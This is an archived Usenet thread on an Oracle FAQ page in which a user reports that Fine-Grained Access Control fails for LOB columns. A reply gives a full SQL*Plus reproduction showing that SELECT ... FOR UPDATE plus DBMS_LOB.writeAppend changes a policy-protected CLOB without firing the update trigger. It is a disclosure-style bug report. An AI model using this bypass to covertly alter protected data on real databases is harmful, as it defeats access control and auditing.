| Oracle FAQ | Your Portal to the Oracle Knowledge Grid | |
 |
 | |||
| Oracle FAQ | Your Portal to the Oracle Knowledge Grid | |
|
| |||
Home -> Community -> Usenet -> c.d.o.server -> Re: Fine Grain Security and select... for update
Well, for me this is issue with FGAC where LOB update through DBMS_LOB
bypasses FGAC update policy. For example, if you are attempting to modify
a LOB via DBMS_LOB in a table for which you don't have UPDATE privilege,
ORA-1031 will be raised, and this is expected (though one can SELECT FOR
UPDATE from such table, as you noted). But if you do the same on a table
where FGAC controls access, update policy is simply not enforced, that is
DBMS_LOB does not verify if LOB write is in violation of the policy. This is
not good, to say the least, as this allows for covert alteration of data in a
policy-protected table and essentially defeats the purpose of FGAC, at least
for LOBs... I verified that this issue exists on 8.1.7.4 and 9.2.0.1 - positive
on both:
SQL> select banner from v$version;
BANNER
SQL> create table lob_fgac_test ( id number(10,0) primary key,
2 lob CLOB default empty_clob() 3 );
Table created.
SQL> create table lob_updates_log( tstamp date default sysdate,
2 usr varchar2(32) default USER, 3 logstr varchar2(200) 4 );
Table created.
SQL> create or replace trigger trg$r_bu$log_fgac_test
2 before update on lob_fgac_test
3 for each row
4 declare
5 pragma autonomous_transaction;
6 begin
7 insert into lob_updates_log (logstr)
8 values ('Attempt to update LOB #'||to_char(:old.id));
9 commit;
10 end;
11 /
Trigger created.
SQL> insert into lob_fgac_test (id) values (1);
1 row created.
SQL> update lob_fgac_test set lob = 'Original LOB content.' where id = 1;
1 row updated.
SQL> commit;
Commit complete.
SQL> create or replace function lob_fgac_policy(p1 varchar2, p2 varchar2)
2 return varchar2
3 as
4 begin
5 return '1=0';
6 end;
7 /
Function created.
SQL> begin
2 dbms_rls.add_policy( object_name => 'LOB_FGAC_TEST',
3 policy_name => 'LOB_FGAC_TEST_DENY_UPDATES', 4 policy_function => 'LOB_FGAC_POLICY', 5 statement_types => 'update', 6 update_check => TRUE);
PL/SQL procedure successfully completed.
SQL> select lob from lob_fgac_test where id = 1;
LOB
SQL> update lob_fgac_test set lob = empty_clob() where id = 1;
0 rows updated. <--- !!! that's just fine, our policy prevented rogue update.
SQL> select lob from lob_fgac_test where id = 1;
LOB
Cool, content not changed - policy did work as expected.
SQL> declare
2 l CLOB;
3 begin
4 select lob into l from lob_fgac_test for update;
5 dbms_lob.writeAppend(l, 6, '+trash');
6 commit;
7 end;
8 /
PL/SQL procedure successfully completed.
SQL> select lob from lob_fgac_test where id = 1;
LOB
Hey, what's that?
SQL> select to_char(tstamp, 'HH24:MI:SS') tstamp, 2 substr(usr,1,10) usr, substr(logstr, 1, 60) logged_action 3 from lob_updates_log;
TSTAMP USR LOGGED_ACTION
-------- ---------- ------------------------------------------------------------ 19:42:58 SCOTT Attempt to update LOB #1
oops... LOB is updated despite the policy we have for the table... More than that, there is no way to catch and log this update since DBMS_LOB writes do not cause update triggers to be fired... Umm... Not good at all... Not sure if this all is documented (I am sure I've seen the trigger not firing issue documented, but not the fact that DBMS_LOB also bypasses FGAC policies.) Another broken feature in Unbreakable ("can't break in") database...
-- Vladimir Zakharychev (bob@dpsp-yes.com) http://www.dpsp-yes.com Dynamic PSP(tm) - the first true RAD toolkit for Oracle-based internet applications. All opinions are mine and do not necessarily go in line with those of my employer. "Jusung Yang" <JusungYang_at_yahoo.com> wrote in message news:130ba93a.0209201242.298b31bf_at_posting.google.com...Received on Mon Sep 23 2002 - 10:52:42 CDT
> I am curious if you have resolved this issue. I wonder if this is at
> all related to the Fine Grained Security. In general, when you grant
> "select" privilege to a user, you also gives him the right to lock the
> rows in the table. So the grantee can issue "select ... for update.."
> on the table. This SQL just identifies the rows that are needed and
> locks them so nobody else can modify them. However, if the grantee
> subsequently try to actually "update" the rows, errors will be raised,
> as the grantee does not have "update" privilege. So, the point is, you
> can issue a "select .. for update" without actually carrying out the
> "update".
>
>
>
> "Ronnie Yours" <ronnie_yours_at_yahoo.com> wrote in message
news:<am7fka$47k$1_at_nntp-m01.news.aol.com>...
> > Hi,
> >
> > I am in the process of implementing fine grain security on our databases and
> > it works great except for the fact that when it comes to Lobs it doesnt seem
> > to work, especially in case of updates.
> >
> > Is it a known issue or am I doing something wrong.
> >
> > In my database certain users can see a record but cannot update it.
> >
> > The problem is when trying to update a clob field I need to do a select
> > for... update and this selects the row for update irrespective of the
> > security on it. This is because the user has select rights on the row . But
> > the user should not be able to issue a select ... for update because he/she
> > does not have update rights on the row.
> >
> > Now using dbms_lobs.write the user can write into a lob field even if he
> > does not have priveleges to do it.
> > Please suggest.
> >
> > Thanks
> > Ronnie
 |
 |